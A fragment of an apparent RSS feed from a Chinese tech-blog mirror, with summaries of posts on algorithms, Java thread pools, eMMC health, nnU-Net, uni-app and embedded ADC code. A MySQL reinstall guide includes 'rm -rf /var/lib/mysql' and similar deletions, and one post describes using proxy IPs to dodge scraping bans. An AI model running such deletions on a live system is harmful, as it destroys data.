EFD，把磁道记录等元数据记录在iNAND之中。&#xA;根据官方的介绍，OptiNAND可以提升容量、性能和可靠性。&#xA;容量：采用triple stage actuator (TSA) 技术，实现更大的实现更大的TPI(每英寸磁道)数量和更高的面密度，在不需要增加碟片数量和磁头数量的情况下，实现容量的提升。原来放置在碟片的元数据，现在放在iNAND，也相当于给用户腾空了原来占用的数据空间，利于用户容量的提升。性能：降低了相邻磁道的干扰ATI，也可以降低写缓存的刷新频率，这样就可以减少延迟，提升性能可靠性：主要在EPO突然掉电场景，iNAND下刷的用户数据比之前DRAM缓存更多。 4.eMMC健康状态查询&#xA;在linux下，eMMC也是一个块设备，类似 /dev/mmcblk*。查看块设备的smartctl工具，对emmc也能查到一部分信息，但是信息很少。&#xA;# smartctl -a /dev/mmcblk0 smartctl 6.6 2021-07-22 r5044 [x86_64-linux-4.18.0-140-generic] (local build) Copyright (C) 2002-18, Bruce Allen &amp;lt;brucea@smartmontools.org&amp;gt; === START OF INFORMATION SECTION === model number: SanDisk Ultra Fit (Toshiba 1306) firmware version: OI_R248R354E4B8AF6AFAAI405T54JABOHX7244_SD03_V06.</description>
    </item>
    <item>
      <title>算法总结10 线段树</title>
      <link>https://bchobby.github.io/posts/8ea01cf6fb9389a1fae20af4ac36ce7a/</link>
      <pubDate>Thu, 14 Sep 2023 23:57:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ea01cf6fb9389a1fae20af4ac36ce7a/</guid>
      <description>算法总结10 线段树 线段树2569. 更新数组后处理求和查询 线段树 有一个数组，我们要：&#xA;更新数组的值（例如：都加上一个数，把子数组内的元素取反）查询一个子数组的值（例如：求和，求最大值，求最小值） 更新于查询，如果暴力去做，每个操作都是O(n)的。所以我们需要提升效率。&#xA;两大思想：&#xA;挑选O(n)个特殊区间，使得任意一个区间，可以拆分为O(logn)个特殊区间（用最近公共祖先来思考）&#xA;O(n)&amp;lt;=4n 挑选O(n)个特殊区间：build&#xA;lazy 更新 / 延迟更新&#xA;lazy tag：用一个数组维护每个区间需要更新的值&#xA;如果说这个值 = 0，表示不需要更新&#xA;如果这个值 ！= 0，表示更新操作在这个区间停住了，不继续地柜更新子区间了 如果后面又来了一个更新，破坏了于lazy tag的区间，那么这个区间就得继续递归更新了&#xA;模板：&#xA;class Solution: def handleQuery(self, nums1: List[int], nums2: List[int], queries: List[List[int]]) -&amp;gt; List[int]: n = len(nums1) todo = [0] * (4 * n) def build(o: int, l: int, r: int) -&amp;gt; None: if l == r: # ... return m = (l + r) // 2 build(o * 2, l, m) build(o * 2 + 1, m + 1, r) # 维护.</description>
    </item>
    <item>
      <title>算法总结9 高阶DP</title>
      <link>https://bchobby.github.io/posts/396e62bbce4295841f48efaedf27c814/</link>
      <pubDate>Thu, 14 Sep 2023 23:56:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/396e62bbce4295841f48efaedf27c814/</guid>
      <description>算法总结9 高阶DP 数位DP2801. 统计范围内的步进数字数目233. 数字 1 的个数面试题 17.06. 2出现的次数600. 不含连续1的非负整数902. 最大为 N 的数字组合1012. 至少有 1 位重复的数字1067. 范围内的数字计数1397. 找到所有好字符串 数位DP 2801. 统计范围内的步进数字数目 以该题作为模板，完成后面的所有题。&#xA;class Solution: def countSteppingNumbers(self, low: str, high: str) -&amp;gt; int: MOD = 10 ** 9 + 7 def calc(s): @cache # 记忆化搜索 def dfs(i, pre, is_limit, is_num): if i == len(s): return int(is_num) res = 0 # 1. 直接跳过当前数位 if not is_num: # 可以跳过当前数位 res = dfs(i + 1, pre, False, False) # 2.</description>
    </item>
    <item>
      <title>Java线程池ExecutorService和Executors应用(Spring Boot微服务)</title>
      <link>https://bchobby.github.io/posts/d5d7cf8c062fe33e3974ff3b058620b3/</link>
      <pubDate>Thu, 14 Sep 2023 20:50:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5d7cf8c062fe33e3974ff3b058620b3/</guid>
      <description>记录：476&#xA;场景：在Spring Boot微服务中使用ExecutorService管理Java线程池。使用Executors创建线程池。使用Runnable接口实现类提交线程任务到线程池执行。&#xA;版本：JDK 1.8,Spring Boot 2.6.3。&#xA;1.线程和线程池基础&#xA;JDK自带线程和线程池包位置：java.util.concurrent.*，以及java.lang.Runnable和java.lang.Thread在java.lang.*中。&#xA;1.1线程接口Runnable&#xA;接口全称：java.lang.Runnable。&#xA;接口注释：The Runnable interface should be implemented by any class whose instances are intended to be executed by a thread.&#xA;说明：提交给线程执行的类需实现Runnable接口。该接口只有一个抽象方法public abstract void run()。具体业务逻辑如需被线程调用的话，必须在此run方法内调用业务逻辑。&#xA;1.2线程Thread&#xA;类全称：java.lang.Thread。&#xA;类注释：A thread is a thread of execution in a program. The Java Virtual Machine allows an application to have multiple threads of execution running concurrently.&#xA;说明：线程java.lang.Thread实现了java.lang.Runnable接口。在java.lang.Thread中维护了JVM中对线程的属性和方法的操作。方法包括线程创建、初始化、启动、运行、停止等。属性包括&#xA;线程名称、优先级、守护进程标志位、线程组、线程本地变量等。&#xA;接收Runnable线程任务方式：一般在创建Thread线程对象时，在有参构造函数的输入参数中传入自定义线程任务(实现Runnable接口的对象)。比如：public Thread(Runnable target)。&#xA;1.3线程池&#xA;(1)接口&#xA;java.util.concurrent.Executor，线程池顶层接口，只有一个抽象方法void execute(Runnable command)。此方法执行提交给线程池已实现Runnable接口的线程任务。</description>
    </item>
    <item>
      <title>Java线程池ThreadPoolExecutor应用(Spring Boot微服务)</title>
      <link>https://bchobby.github.io/posts/96b5a2d78addcffc25e525df20e36c8d/</link>
      <pubDate>Thu, 14 Sep 2023 19:24:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96b5a2d78addcffc25e525df20e36c8d/</guid>
      <description>记录：475&#xA;场景：在Spring Boot微服务中使用Java线程池ThreadPoolExecutor。实现Runnable接口提交线程任务到线程池。&#xA;版本：JDK 1.8,Spring Boot 2.6.3。&#xA;1.使用注解配置线程池ThreadPoolExecutor&#xA;(1)说明&#xA;ThreadPoolExecutor，全称：java.util.concurrent.ThreadPoolExecutor。&#xA;使用@Bean(&#34;threadPoolExecutorHz&#34;)注解把线程池注入到Spring IOC容器中。&#xA;(2)代码&#xA;@Configuration public class ThreadPoolConfig { @Bean(&#34;threadPoolExecutorHz&#34;) public ThreadPoolExecutor threadPoolExecutor(){ ThreadPoolExecutor threadPoolExecutor = new ThreadPoolExecutor( 8, 16, 10, TimeUnit.MILLISECONDS, new ArrayBlockingQueue&amp;lt;Runnable&amp;gt;(10), new ThreadPoolExecutor.CallerRunsPolicy() ); return threadPoolExecutor; } } (3)线程参数&#xA;corePoolSize: the number of threads to keep in the pool, even if they are idle, unless allowCoreThreadTimeOut is set&#xA;maximumPoolSize: the maximum number of threads to allow in the pool</description>
    </item>
    <item>
      <title>Python怎么使用代理IP？什么是代理IP？</title>
      <link>https://bchobby.github.io/posts/da9d102999736ea3605c05b4bcad1bd8/</link>
      <pubDate>Thu, 14 Sep 2023 17:08:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da9d102999736ea3605c05b4bcad1bd8/</guid>
      <description>在Python众多的科技领域当中，爬虫的存在一直是独树一帜的；虽然其他语言也能进行网络数据的爬取，但是Python凭借更简洁的语法，更简单的逻辑而获得爬虫爱好者的喜爱。而代理IP的使用也是每一位爬虫使用者所需掌握的内容，那么什么是代理IP呢？&#xA;一、代理IP&#xA;在Python爬虫中，如果过多的访问同一个网站，会被网站的运维人员检测到进而封禁我们的IP地址，这个时候就需要我们用代理IP来代替我们自己的IP来进行访问&#xA;二、使用代理IP的原理&#xA;代理IP又叫做代理服务器，是服务端和个人浏览器中间的一座代理中转站；当浏览器请求访问时，返回的结果会先送到这个中转站然后在发送到你的浏览器上，而服务端检测到的访问数据都只是在这个中转站上，可以很好的防止个人IP被ben。&#xA;三、使用IP代理的方式&#xA;因为代理IP在Python中主要用在爬虫方面，所以我们先导入好爬虫所需要的第三方库&#xA;import requests # 导入库 然后添加一个代理IP，可以根据自己的需要，添加多个代理IP，这样就是创建了一个IP代理池:&#xA;&#34;http&#34;:&#34;http://IP地址：端口号&#34; 通过requests库的get请求，得到百度网页的返回内容，当然这个内容返回的结果首先要经过代理服务器然后才到我们自己的电脑浏览器上。&#xA;四、总结&#xA;目前，国内的代理IP服务商是非常众多，有收费也有不收费的；如果只是爬虫的需求，一般免费的代理IP都可以满足。不要将资源放在没有必要的地方，而是根据自己的需要合理分配资源。&#xA;关于Python技术储备&#xA;学好 Python 不论是就业还是做副业赚钱都不错，但要学会 Python 还是要有一个学习规划。最后大家分享一份全套的 Python 学习资料，给那些想学习 Python 的小伙伴们一点帮助！&#xA;一、Python所有方向的学习路线&#xA;Python所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。&#xA;二、Python必备开发工具&#xA;三、Python视频合集&#xA;观看零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。&#xA;四、实战案例&#xA;光学理论是没用的，要学会跟着一起敲，要动手实操，才能将自己的所学运用到实际当中去，这时候可以搞点实战案例来学习。&#xA;五、Python练习题&#xA;检查学习结果。&#xA;六、面试资料&#xA;我们学习Python必然是为了找到高薪的工作，下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料，并且有阿里大佬给出了权威的解答，刷完这一套面试资料相信大家都能找到满意的工作。&#xA;最后祝大家天天进步！！&#xA;上面这份完整版的Python全套学习资料已经上传至CSDN官方，朋友如果需要可以直接微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】。</description>
    </item>
    <item>
      <title>el-table 取消鼠标移入时变色</title>
      <link>https://bchobby.github.io/posts/3b14a4f4ed25cc83a55e2ab3a1fd2aeb/</link>
      <pubDate>Thu, 14 Sep 2023 16:35:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b14a4f4ed25cc83a55e2ab3a1fd2aeb/</guid>
      <description>::v-deep .el-table--enable-row-hover .el-table__body tr:hover&amp;gt;td {&#xA;background-color: transparent;&#xA;}</description>
    </item>
    <item>
      <title>【MICCAI 2023 Challenges ：STS-基于3D CBCT的牙齿分割任务】学习记录：使用nnU-Net V2训练自己的数据集</title>
      <link>https://bchobby.github.io/posts/7d42d4afbd44d02aa54e26bfba674fe6/</link>
      <pubDate>Thu, 14 Sep 2023 16:12:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d42d4afbd44d02aa54e26bfba674fe6/</guid>
      <description>前言 本文是对天池平台发布的【MICCAI 2023 Challenges ：STS-基于3D CBCT的牙齿分割任务】比赛进行一个初步总结，主要包含开发过程、训练技巧以及创新思路，对于此次比赛的详细信息可移步官网查看。&#xA;提示：开发过程，训练技巧同样适用于其他数据集：&#xA;提示：以下是本篇文章正文内容，下面案例可供参考&#xA;一、大赛数据简介 主题：在提供的三维CBCT数据集上实现牙齿分割任务。&#xA;此项任务基于三维CBCT数据集，任务的核心目标是在三维上分割出牙齿结构。我们将采用Dice、豪斯多夫距离、IOU等评价指标进行评估（评估及得分详细信息见评价指标）。同样地，具体的任务目标可参考下图：&#xA;评价指标：所有参赛选手均需对测试集的所有图像进行牙齿分割，生成对应的二值化mask。我们会对选手所提交的mask与我们的基准mask计算Dice、霍夫距离、IOU。&#xA;（1）Dice系数（Dice coefficient）用于评估两个集合的相似度，公式为：&#xA;（2）IoU（Intersection over Union）公式为：&#xA;其中，公式中A表示选手模型预测的mask，B表示Groud Truth的基准mask。&#xA;（3）三维豪斯多夫距离是基于体素（voxel）级别的距离度量，公式为：&#xA;其中，(x1, y1, z1)和(x2, y2, z2)表示两个体素的坐标，|x1 - x2|、|y1 - y2|和|z1 - z2|表示对应坐标轴上的距离。&#xA;**评分规则：**参赛选手的得分主要依据上述三个评分指标，主要为了便于评分，比赛统一将豪斯多夫距离进行归一化，使其值在0-1之间。最终取三个指标的加权平均，具体的评分公式为：score=0.4∗Dice+0.3∗IOU+0.3∗(1−H(d))&#xA;二、开发过程 1.准备nnU-Net V2的开发环境：【nnUNet】 （1）进入官网，下载ZIP到本地，或者直接SSH CLone。&#xA;（2）打开服务器终端，创建一个新环境，注意查看官方文档的安装说明！！！！python3.9版本以上&#xA;打开终端，创建环境 conda create -n nnUNet python=3.9&#xA;安装torch2.0，安装torch慢，直接下载whl文件pip install安装：【whl链接】https://download.pytorch.org/whl/torch_stable.html&#xA;实在不会，看此篇教程，博主写的很好：https://blog.csdn.net/i__om/article/details/128773034&#xA;下图是我在Linux服务器下安装的版本，仅供参考，具体根据自己需要进行安装;(这图片水印怎么去掉，烦死了)，到这里，nnUNet所需的torch环境已安装好，接下来安装nnUNetV2。&#xA;2.安装nnU-Net V2 （1）官网 https://github.com/MIC-DKFZ/nnUNet/blob/master/documentation/installation_instructions.md。根据官网的步骤来安装，打开终端，激活刚刚创建的新环境，按照步骤一步一步来，注意pip install -e .的时候别忘了后面的.（安装的时候一定要保持目录干净，官方的啥样，你的就啥样，如果你在nnUNet提前创建了新的目录，在安装的时候会报错，一定要安装完之后在创建）&#xA;（2）接下来就是数据集准备，创建目录结构，和具体怎么训练、推理的教程，暂时没时间写了，请先移步官方文档，有空会更新。&#xA;官方文档说明的很详细，【https://github.com/MIC-DKFZ/nnUNet】按照自己的需求创建（若遇到困难，请进一步搜素如何nnUNetv2的使用教程之类的文章，后续有时间我会继续更新）&#xA;3. 一些训练过程和推理过程踩过的坑（耐心等待，有时间就更新） 4. “投机取巧”，不走寻常路（耐心等待，有时间就更新） 5. 比赛提供数据集的处理方式（耐心等待，有时间就更新） 6. 半监督学习在此比赛的表现（耐心等待，有时间就更新） 三、训练技巧（耐心等待，有时间就更新） 四、创新思路（耐心等待，有时间就更新） 五、实验结果对比分析（大概有30条结果，后续更新） 总结（耐心等待，有时间就更新） 完结撒花（提前）：</description>
    </item>
    <item>
      <title>深度学习有什么用？深度学习应用领域有哪些？</title>
      <link>https://bchobby.github.io/posts/164e83cdd13f5234b4c388a457b78713/</link>
      <pubDate>Thu, 14 Sep 2023 15:43:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/164e83cdd13f5234b4c388a457b78713/</guid>
      <description> 2023年的今天，深度学习已经在许多领域中取得了重大突破，包括计算机视觉、自然语言处理、医学、金融、自动驾驶等。掌握深度学习技能可以让你在多个领域中有机会解决现实世界的问题。深度学习有什么用？&#xA;深度学习在各个领域中有广泛的应用，其用途包括但不限于以下几个方面：&#xA;计算机视觉：&#xA;图像分类：将图像分为不同的类别，如猫、狗、汽车等。物体检测：识别图像中的特定物体，并标出其位置。人脸识别：识别图像或视频中的人脸。图像生成：生成具有艺术性或创造性的图像，如风格迁移和GAN（生成对抗网络）生成的图像。 自然语言处理：&#xA;机器翻译：将一种语言的文本翻译成另一种语言。文本分类：将文本数据分为不同的类别，如垃圾邮件检测和情感分析。文本生成：生成自然语言文本，如文本摘要、对话生成和故事创作。 语音识别：&#xA;语音转文本：将语音信号转换为可读的文本。语音生成：生成自然流畅的语音，如虚拟助手和有声读物。 医学和生物信息学：&#xA;医学影像分析：诊断和检测医学图像中的疾病，如X射线和MRI。基因组学分析：分析基因和蛋白质序列以了解基因组学和药物研究。 自动驾驶：&#xA;深度学习在自动驾驶汽车中用于感知环境、决策和控制车辆，以实现安全的自动驾驶。 金融领域：&#xA;信用风险评估：使用深度学习来评估贷款申请人的信用风险。高频交易：用于开发算法进行高频交易和市场分析。 游戏：&#xA;游戏智能：开发具有高级智能的游戏角色和虚拟敌人。游戏生成：生成游戏世界、地图和关卡。 推荐系统：&#xA;个性化推荐：根据用户的行为和兴趣，推荐电影、音乐、商品等。 工业和制造业：&#xA;检测和质量控制：检测制造过程中的缺陷或质量问题。预测维护：预测机器设备的故障并进行维护。 深度学习在各种领域中都有广泛的应用，它的强大特性使其能够处理大量复杂的数据并进行高级的模式识别，从而改进了各种任务的性能和效率。&#xA;免费分享一些我整理的人工智能学习资料给大家，整理了很久，非常全面。包括一些人工智能基础入门视频+AI常用框架实战视频、计算机视觉、机器学习、图像识别、NLP、OpenCV、YOLO、pytorch、深度学习与神经网络等视频、课件源码、国内外知名精华资源、AI热门论文等。&#xA;下面是部分截图，点击文末名片关注我的公众号【AI技术星球】发送暗号 321 领取（一定要发 321） 学好人工智能，要多看书，多动手，多实践，要想提高自己的水平，一定要学会沉下心来慢慢的系统学习，最终才能有所收获。&#xA;点击下方名片，扫码关注公众号【AI技术星球】发送暗号 321 免费领取文中资料。 </description>
    </item>
    <item>
      <title>9.12python</title>
      <link>https://bchobby.github.io/posts/d4aa2edaa70c3bc0f2e71948d481660f/</link>
      <pubDate>Thu, 14 Sep 2023 15:22:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4aa2edaa70c3bc0f2e71948d481660f/</guid>
      <description>猜数字&#xA;import random a = random.randint(0, 10) print(a) i = 0 while 1: b = int(input()) if b &amp;lt; a: print(&#34;小了&#34;) i = i + 1 elif b &amp;gt; a: print(&#34;大了&#34;) i = i + 1 else: print(&#34;对了&#34;) i = i + 1 break ———— while 1: b = int(input()) if b != a: if b &amp;lt; a: print(&#34;小了&#34;) i = i + 1 elif b &amp;gt; a: print(&#34;大了&#34;) i = i + 1 else: print(&#34;</description>
    </item>
    <item>
      <title>shell获取命令输出和返回值</title>
      <link>https://bchobby.github.io/posts/5bca0a84d3228200f3320c818f60cf9c/</link>
      <pubDate>Thu, 14 Sep 2023 15:08:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5bca0a84d3228200f3320c818f60cf9c/</guid>
      <description>在 shell 中，可以使用以下方式获取命令的输出和返回值：&#xA;使用反引号（``）把命令括起来，就可以将命令的输出赋值给一个变量。例如：&#xA;output=`ls -l` 这样，变量 output 就包含了命令 ls -l 的输出。&#xA;使用 $? 获取命令的返回值。例如：&#xA;ls -l echo $? 在这个例子中，命令 ls -l 的返回值会被输出。&#xA;注意：如果命令中包含管道（|），那么 $? 会返回最后一条命令的返回值。</description>
    </item>
    <item>
      <title>Centos7离线安装mysql8 glibc版本</title>
      <link>https://bchobby.github.io/posts/deee1080e4556b2ebeb28b57546e3ba5/</link>
      <pubDate>Thu, 14 Sep 2023 14:52:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/deee1080e4556b2ebeb28b57546e3ba5/</guid>
      <description>1.查看mysql是否安装&#xA;yum list installed mysql*&#xA;或者：&#xA;rpm -qa | grep -i mysql&#xA;2.卸载&#xA;yum remove mysql*&#xA;3.删除残留文件&#xA;find / -name mysql&#xA;rm -rf /var/lib/mysql&#xA;rm -rf /etc/my.cnf&#xA;rm -rf /etc/profile.d/mysql.sh&#xA;rm -rf /etc/init.d/mysql&#xA;4.杀掉进程&#xA;ps -ef|grep mysql&#xA;5.建用户&#xA;useradd mysql&#xA;6.切用户&#xA;su - mysql&#xA;7.参考官方安装文档：https://dev.mysql.com/doc/refman/8.0/en/binary-installation.html&#xA;8.安装依赖包-root&#xA;yum install libaio&#xA;9.删除原有mariadb的配置文件-root&#xA;rm -rf /etc/my.cnf&#xA;10.下载glibc版本、解压、改文件名-mysql、建一些依赖目录&#xA;&amp;gt;wget https://mirrors.aliyun.com/mysql/MySQL-8.0/mysql-8.0.28-linux-glibc2.12-x86_64.tar.xz&#xA;&amp;gt;tar xvf mysql-8.0.28-linux-glibc2.12-x86_64.tar.xz&#xA;&amp;gt;mv mysql-8.0.28-linux-glibc2.12-x86_64 mysql-8.0.28&#xA;&amp;gt;cd mysql-8.0.28&#xA;&amp;gt;mkdir mysql-files&#xA;&amp;gt;chown mysql:mysql mysql-files</description>
    </item>
    <item>
      <title>前端开发工作中可能会遇到的问题及解决方法</title>
      <link>https://bchobby.github.io/posts/0fe71117ade34dd163d5fb8de84f0038/</link>
      <pubDate>Thu, 14 Sep 2023 13:17:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fe71117ade34dd163d5fb8de84f0038/</guid>
      <description>一、uni-app小程序中xxx代码依赖分析忽略二、uni-app弹窗列表滚动, 弹框下面的内容也跟随滚动三、uni-app小程序正常自定义组件不生效 四、uni-app popup 弹出层底部空隙问题&#xA;五、uni-app小程序自定义导航栏后iOS页面可上下滑动问题解决方案&#xA;六. uni-app中的分享二维码以及保存到相册&#xA;七、vue运行时报错&#xA;一、uni-app小程序中xxx代码依赖分析忽略 新的任务发生了这个问题，一启动这个大红色看着十分碍眼，好在报错提示也给了解决办法，如下图所示&#xA;&#34;ignoreDevUnusedFiles&#34;: false, &#34;ignoreUploadUnusedFiles&#34;: false, 二、uni-app弹窗列表滚动, 弹框下面的内容也跟随滚动 弹窗组件代码,需要在最外层的view中加入 @touchmove.stop.prevent=&#34;moveHandle&#34;，就可以解决这个问题了&#xA;三、uni-app小程序正常自定义组件不生效 这是一个离奇的问题，正常自定义组件在页面引入，注册，使用，但是编译后居然没有显示出来而且也没有报其他的错误，这到底是为什么呢, 我也不知道…… 这个hbuilder 肯定不能逮着我一个人坑对不对，查了下，别人也遇到了这个问题，&#xA;总结下来有以下大致两种解决方法&#xA;1.每次引用新建组件，把编译器关闭后再重启&#xA;2.新建组件后，再新建一个页面,重新编译(亲测有效)，新建的组件就生效了，就是那么离奇&#xA;如果有更好的方法，欢迎提出，再不想用上方这两个蠢蠢的办法了&#xA;四、uni-app popup 弹出层底部空隙问题 如图所示，我遇到的问题是底部弹出层有一个间隙的问题，我看了下应该是样式问题， 是它自带了一个padding-bottom,于是我看了源码，这个问题就解决了&#xA;解决方法：&#xA;首先找到Popup的源码&#xA;因为设置的是底部弹出层，就着重看关于底部弹出的样式&#xA;五、 uni-app小程序自定义导航栏后iOS页面可上下滑动问题解决方案 提起这个我就想,真好啊，又是一个长知识的机会!!!（内心真实想法—把用apple的人的都抓起来) ,在安卓就好好的，偏偏它就会出问题，请看以下问题：&#xA;问题描述：&#xA;在开发小程序的过程中，自定义了导航栏，但是发现在ios中页面整体可上下移动，造成体验极差。&#xA;解决方案：&#xA;“disableScroll”:true,//ios禁止页面整体上下滑动&#xA;{ &#34;path&#34;: &#34;home/index&#34;, &#34;style&#34;: { &#34;navigationStyle&#34;: &#34;custom&#34;,//关闭原生导航栏 &#34;disableScroll&#34;:true,//ios禁止页面整体上下滑动 } }, 问题描述:&#xA;如下图所示：在安卓真机和开发着工具中都是正常，但是到了大苹果(我不用大苹果我还不知道它还能左滑滑右滑滑~~~)&#xA;这是一个样式问题，所以我们看下原本的页面样式代码；&#xA;解决方案：&#xA;当时我不知道这个问题是怎么回事，后来请教了同事后仔细想想其实这个问题也很好解决，&#xA;起初设置的宽度是100%,但是下方又设置了padding内边距, 而盒子宽度默认的计算方式是content-box，下图有详细解释&#xA;所以在对应的html页面结构中的父元素中，给它的样式加上这样一句，就可以解决了&#xA;六、uni-app中的分享二维码以及保存到相册 这个应该不算是一个难点，这是因为我之前没有做过，觉得很新鲜，所以分享在这里,要实现的功能呢长这个样子，以弹窗的形式出现用户可以选择转发给好友或者是保存相册后从相册转发&#xA;1.页面结构，因为是弹窗的形式所以选用了uni-popup &amp;lt;uni-popup ref=&#34;popup&#34; animation mask-background-color=&#34;rgba(0,0,0,0.2)&#34; @change=&#34;</description>
    </item>
    <item>
      <title>E2E 端到端保护</title>
      <link>https://bchobby.github.io/posts/44db80e1a9fe8b2ba471336528a083bd/</link>
      <pubDate>Thu, 14 Sep 2023 13:05:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44db80e1a9fe8b2ba471336528a083bd/</guid>
      <description>一、E2E介绍 E2E通过一些机制，使sw-c发送终端和sw-c接收终端的数据保持一致，保证信息的完整性。&#xA;E2E可适用于各种总线通信，例如CAN、CAN FD、LIN、FlexRay总线通信中。&#xA;二、E2E算法 E2E策略的整体思路是CRC校验和计数器。E2E有很多算法，是autosar提供的，可以直接用，如E2E_P01，E2E_P02，E2E_P04，E2E_P05，E2E_P06。以E2E_P01进行算法说明。&#xA;发送方采用保护函数E2E_P01Protect，接收方采用校验函数E2E_P01Check。&#xA;发送方：选择算法E2E_P01，把需要保护的原始数据，DataID（16bit）、Counter通过算法计算出crc值，加上计数器的值（计数器每发送一次值就增加），形成E2E的报头，即4个bit的Counter，1个字节的CRC以及需要被保护的原数据，一起打包发送给接收方。&#xA;注：&#xA;1.当 E2E_P01DataIDMode = E2E_P01_DATAID_NIBBLE 时的DataID 信息在数据中位置由用户定义。&#xA;2.Data ID 有四种模式：E2E_P01_DATAID_BOTH、E2E_P01_DATAID_ALT、E2E_P01_DATAID_LOW、E2E_P01_DATAID_NIBBLE。&#xA;当 E2E_P01DataIDMode = E2E_P01_DATAID_BOTH 时，DataID 的长度为 16Bits。DataID 两个字节均参与 Crc 的计算，但是不参与数据传输；&#xA;E2E_P01DataIDMode = E2E_P01_DATAID_ALT 时，DataID 的长度为 16Bits。当 Counter 为偶数时，DataID 的低字节参与 Crc 的计算，但不参与数据传输, 而当 Counter 为奇数时，DataID 的高字节参与Crc 的计算，不参与数据传输；&#xA;当 E2E_P01DataIDMode = E2E_P01_DATAID_LOW 时，DataID 的高字节不使用，应置为 0x00，此时相当于可用 Data ID 长度为 8Bits。DataID 的低字节参与 Crc 的计算，但不参与数据传输；&#xA;当 E2E_P01DataIDMode = E2E_P01_DATAID_NIBBLE 时，DataID 高字节的高半字节不使用，应置为 0x00，此时相当于可用 DataID 的长度为 12Bits，且此时 Data ID 高字节的低半字节不仅参与 Crc 计算，还与数据一起传输，位置由 DataIDNibbleOffset 决定。</description>
    </item>
    <item>
      <title>数据结构汇总（竞赛&#43;笔试）（有待补全）</title>
      <link>https://bchobby.github.io/posts/820b1cfb415aba1de5acfcd366d30e28/</link>
      <pubDate>Thu, 14 Sep 2023 12:03:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/820b1cfb415aba1de5acfcd366d30e28/</guid>
      <description>1.链表 1.1 单链表&#xA;(1) 笔试写法&#xA;struct Node { int val; Node *next; Node(int _val) : val(_val), next(NULL){} } *head; // p 后插入新节点 void insert(Node *p , int x) { Node *q = new Node(x); q-&amp;gt;next = p-&amp;gt;next; p-&amp;gt;next = q; } // 删除节点p -&amp;gt; next void remove(Node *p) { auto q = p-&amp;gt;next; p-&amp;gt;next = q-&amp;gt;next; delete(q); } //查找x节点 Node *find(int x) { for(auto p = head ; p !</description>
    </item>
    <item>
      <title>ADS1256&#43;STM32程序详解</title>
      <link>https://bchobby.github.io/posts/f97ccc43d782d033741f855f68970940/</link>
      <pubDate>Thu, 14 Sep 2023 11:32:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f97ccc43d782d033741f855f68970940/</guid>
      <description>ADS1256是TI公司推出的微功耗、高精度、8通道、24位高性能模数转换器（ADC）。该器件提供高达23比特的无噪声精度、数据速率高达30kSPS（次采样/秒）、十万分之一的非线性特性以及具备众输入模拟多路开关、输入缓冲器、可编程增益放大器和可编程数字滤波器等，,有完善的自校正和系统校正系统,SPI串行数据传输接口。可为设计人员带来完整而高分辨率的量测解决方，如应变计、气体分析、仪器仪表、压力传感器、血液分析、医疗科学仪器等应用，ADS1256采用SSOP-2封装。&#xA;ADS1256特点 1、8通道输入：可同时采集8路信号。 2、测量范围广：0-5V输入电压采样&#xA;3、采集频率高，精度高：采集卡的采集速率为30K/s。 ADS1256示意图&#xA;1． 时序图 STM32SPI可以直接连接，ADS1256的CS线仅仅只是做片选使用数据输出结束需要发送一次脉冲。在SCLK第一脉冲DIN开始接受数据输入，数据输入完毕的T6内SCLK需要保持低电平，然后调制一个周期的脉冲信号，数据即可全部到达DOUT总线，一次读写完毕。&#xA;核心源码： #include &amp;lt;stdio.h&amp;gt;&#xA;#include &#34;stm32f10x_gpio.h&#34;&#xA;#include &#34;ADS1256.h&#34;&#xA;//***************************&#xA;// Pin assign // STM32 ADS1256 // GPIOB_Pin_11 &amp;lt;--- DRDY&#xA;// GPIOB_Pin_12 ---&amp;gt; CS&#xA;// GPIOB_Pin_13 ---&amp;gt; SCK&#xA;// GPIOB_Pin_14(MISO) &amp;lt;--- DOUT&#xA;// GPIOB_Pin_15(MOSI) ---&amp;gt; DIN&#xA;//*************************** #define RCC_DRDY RCC_APB2Periph_GPIOB&#xA;#define PORT_DRDY GPIOB&#xA;#define PIN_DRDY GPIO_Pin_11&#xA;#define PORT_CS GPIOB&#xA;#define PIN_CS GPIO_Pin_12&#xA;#define CS_0() GPIO_ResetBits(PORT_CS, PIN_CS);&#xA;#define CS_1() GPIO_SetBits(PORT_CS, PIN_CS);&#xA;#define ADS1256_DRDY (PORT_DRDY-&amp;gt;IDR &amp;amp; PIN_DRDY)</description>
    </item>
    <item>
      <title>软件测试---功能分解、等价类、边界值、因果图、错误推测、正交实验、场景法</title>
      <link>https://bchobby.github.io/posts/ca682f980a5f54bf46229bd4ddab8637/</link>
      <pubDate>Thu, 14 Sep 2023 09:55:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca682f980a5f54bf46229bd4ddab8637/</guid>
